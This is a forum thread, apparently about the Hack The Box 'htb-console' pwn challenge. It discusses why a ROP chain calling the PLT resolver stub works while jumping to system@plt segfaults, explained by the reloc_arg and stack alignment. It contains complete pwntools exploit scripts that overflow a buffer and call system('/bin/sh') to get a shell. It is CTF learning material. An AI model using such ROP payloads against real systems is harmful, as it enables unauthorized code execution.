[pwn] HTB Console

I am trying to find the .plt entry for the system system call. According to the official writeup the adress 0x401040 should work. But for me it only results in an segfault. Somehow the adress 0x401020 works for me.

pwndbg> plt
Section .plt 0x401020-0x4010b0:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: memset@plt
0x401070: alarm@plt
0x401080: fgets@plt
0x401090: strcmp@plt
0x4010a0: setvbuf@plt
objdump -d -j .plt htb-console

0000000000401020 <puts@plt-0x10>:
  401020:       ff 35 e2 2f 00 00       push   0x2fe2(%rip)        # 404008 <setvbuf@plt+0x2f68>
  401026:       ff 25 e4 2f 00 00       jmp    *0x2fe4(%rip)        # 404010 <setvbuf@plt+0x2f70>
  40102c:       0f 1f 40 00             nopl   0x0(%rax)

0000000000401030 <puts@plt>:
  401030:       ff 25 e2 2f 00 00       jmp    *0x2fe2(%rip)        # 404018 <setvbuf@plt+0x2f78>
  401036:       68 00 00 00 00          push   $0x0
  40103b:       e9 e0 ff ff ff          jmp    401020 <puts@plt-0x10>

0000000000401040 <system@plt>:
  401040:       ff 25 da 2f 00 00       jmp    *0x2fda(%rip)        # 404020 <setvbuf@plt+0x2f80>
  401046:       68 01 00 00 00          push   $0x1
  40104b:       e9 d0 ff ff ff          jmp    401020 <puts@plt-0x10>

0000000000401050 <printf@plt>:
  401050:       ff 25 d2 2f 00 00       jmp    *0x2fd2(%rip)        # 404028 <setvbuf@plt+0x2f88>
  401056:       68 02 00 00 00          push   $0x2
  40105b:       e9 c0 ff ff ff          jmp    401020 <puts@plt-0x10>

0000000000401060 <memset@plt>:
  401060:       ff 25 ca 2f 00 00       jmp    *0x2fca(%rip)        # 404030 <setvbuf@plt+0x2f90>
  4010ab:       e9 70 ff ff ff          jmp    401020 <puts@plt-0x10^C404050 <setvbuf@plt+0x2fb0>

IDA Free:

.plt:0000000000401020
.plt:0000000000401020 ; Segment type: Pure code
.plt:0000000000401020 ; Segment permissions: Read/Execute
.plt:0000000000401020 _plt segment para public 'CODE' use64
.plt:0000000000401020 assume cs:_plt
.plt:0000000000401020 ;org 401020h
.plt:0000000000401020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.plt:0000000000401020
.plt:0000000000401020
.plt:0000000000401020
.plt:0000000000401020 sub_401020 proc near
.plt:0000000000401020 ; __unwind {
.plt:0000000000401020 push    cs:qword_404008
.plt:0000000000401026 jmp     cs:qword_404010
.plt:0000000000401026 sub_401020 endp
.plt:0000000000401026

.plt:0000000000401040
.plt:0000000000401040
.plt:0000000000401040 ; Attributes: thunk
.plt:0000000000401040
.plt:0000000000401040 ; int system(const char *command)
.plt:0000000000401040 _system proc near
.plt:0000000000401040 jmp     cs:off_404020
.plt:0000000000401040 _system endp
.plt:0000000000401040

When single stepping with ida. The jump to 0000000000401020 works, and 0000000000401040 also results in a segfault.

GPT said:
“The address 0000000000401020 is part of the PLT entry for an initial jump to the dynamic linker:”

" This address 0000000000401040 is a specific PLT entry for the system function:"

" First Call (Address 0x401020): The initial call to a function in the PLT like 0x401020 ensures that the dynamic linker resolves the function’s address and updates the relevant GOT entry. This sets up subsequent calls correctly.

Subsequent Calls (Address 0x401040): After the initial resolution, calls to the specific PLT entries like 0x401040 should work correctly, provided the GOT entry off_404020 has been populated. If there is a segfault, it indicates that off_404020 still contains an invalid address, meaning the dynamic linker hasn’t resolved it yet."

So i tried using the date command as intended to resolve the adress of the system call, and used then the 0x401040 adress which still resulted in an segfault. Why is this 0x401020 adress working for me ?

I am confused.

The code which worked for me:

from pwn import *

LOCAL_PROGRAM = './htb-console'

r = process(LOCAL_PROGRAM)

r.sendlineafter(b'>>', b'hof')
r.sendlineafter(b'name:', b'/bin/sh\x00')

pop_rdi = 0x401473
bin_sh = 0x4040b0
system = 0x401020  # works for me


payload = b'A' * 24 + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendlineafter(b'>>', b'flag')
r.sendlineafter(b'flag:', payload)
print('** SHELL **')
r.interactive()

This one was quite interesting!

On running the challenge binary, _start is calling __libc_start_main(int *(main) (int, char * *, char * *), int argc, [...], passing argc (1) in rsi.

At __libc_start_main+000c, esi is moved to ebp, making rbp equal to argc.
__libc_start_main then goes on to call our challenge’s main function. The first instruction of main pushes rbp to the stack, meaning the “top” of our stack now contains argc / 1.

Why is this relevant? When we are jumping to the start of the .plt section (0x401020) using the last gadget of your rop chain, we are actually calling the PLT default stub:

0000000000401020    <.plt>: 
 →  0x401020                  push   QWORD PTR [rip+0x2fe2]        # 0x404008 <_GLOBAL_OFFSET_TABLE_+0x8> (link_map)
    0x401026                  jmp    QWORD PTR [rip+0x2fe4]        # 0x404010 <_GLOBAL_OFFSET_TABLE_+0x10> (_dl_runtime_resolve)
    0x40102c                  nop    DWORD PTR [rax+0x0]

Usually, this default stub is called by the individual PLT stubs (puts@plt, system@plt, etc.) to do the actual work of resolving libc functions.

Let’s take `puts@plt for example:

0000000000401030    <puts@plt>: 
    0x401030 <puts@plt+0000>  jmp    QWORD PTR [rip+0x2fe2]        # 0x404018 <puts@got.plt>
    0x401036 <puts@plt+0006>  push   0x0 # push reloc_arg
    0x40103b <puts@plt+000b>  jmp    0x401020 # call default stub

When the GOT entry isn’t resolved yet, the jump to it is effectively a nop, returning control to the next instruction @ 0x401036. To utilize a shared default stub, a reloc_arg argument is passed to the default stub, indicating which entry to resolve and call.

Since our registers are already used to contain the actual functions arguments (/bin/sh), reloc_arg is passed as a stack argument instead.

Since our stack space is limited, we aren’t able to overwrite this value with a number of our choice. However, by sheer luck, this value still contains the inital argc value pushed on the stack as rbp by main:

# Right before entering our rop chain
(remote) gef➤  x/20g $rsp
0x7fffffffd668: 0x401473        0x4040b0
0x7fffffffd678: 0x401020        0x1 # argc / reloc_arg

Let’s check which reloc_arg argument is required to call system:

0x401040 <system@plt>:       jmp    QWORD PTR [rip+0x2fda]        # 0x404020 <system@got.plt>
0x401046 <system@plt+6>:     push   0x1
0x40104b <system@plt+11>:    jmp    0x401020

It’s also 1! For this reason, directly calling the default stub emulates calling the system stub while keeping the stack aligned, thus preventing the segmentation fault encountered otherwise.

When running the same exploit against htb-console foo, argc becomes 2, and printf is resolved instead of system. Suddenly, the challenge prints out /bin/sh instead of running it :exploding_head:

1 Like

Took me some time to follow you on that, but now I got it. Indeed, very interesting. Explains why the jump to the default stub at 0x401020 works. But I’m still not able to make this exploit work when jumping to the .plt entries of the specific PLT stubs.

Here’s the .plt stub for system():

0000000000401040 <system@plt>:
  401040:       ff 25 da 2f 00 00       jmp    *0x2fda(%rip)        # 404020 <setvbuf@plt+0x2f80>
  401046:       68 01 00 00 00          push   $0x1
  40104b:       e9 d0 ff ff ff          jmp    401020 <puts@plt-0x10>

When jumping to the start of this stub at 0x401040, using this code:

from pwn import *

LOCAL_PROGRAM = './htb-console'

r = process(LOCAL_PROGRAM)

pop_rdi = 0x0401473  
binsh_bss = 0x004040b0  
ret = 0x00401040  # system() .plt stub

r.recvuntil('>> ')
r.sendline('hof')

payload = b'/bin/id'.ljust(16, b'\x00')
r.recvuntil('Enter your name: ')
r.sendline(payload)

r.recvuntil('>> ')
r.sendline('flag')

payload = b'\x90'*24
payload += p64(pop_rdi)
payload += p64(binsh_bss)
payload += p64(ret)

r.recvuntil('Enter flag: ')
r.sendline(payload)
r.interactive()

I get a segmentation fault at:

libc.so.6:00007FE4BFC4A973 movaps  [rsp+3B8h+var_3B8], xmm1

This occurs after the dynamic linking process.

The stack before calling the dynamic linker at 0x401026 looks like this:

rsp=>     00007F9CD705E2E0  ld_linux_x86_64.so.2:rtld_errno+40
          0000000000000001  
          0000000000000001  
          00007F9CD6E0FD90  libc.so.6:__libc_start_call_main+80

The value 1 appears twice—once as our reloc_arg, which was pushed in the system() .plt stub, and once as the argc, which is still present. Then the dynamic linker is called, and everything looks fine. However, after exiting ld_linux_x86_64.so.2, I get the segmentation fault at the above-mentioned location.

Interestingly, when I jump to 0x40104b, which is the location in the system() .plt stub after pushing the reloc_arg, the stack before calling the dynamic linker looks like this:

rsp=>     00007F71456B72E0  ld_linux_x86_64.so.2:rtld_errno+40
          0000000000000001  
          00007F7145468D90  libc.so.6:__libc_start_call_main+80

So now there is only a single 1, and everything works fine—the system call is executed as expected. But I still can’t figure out why this happens.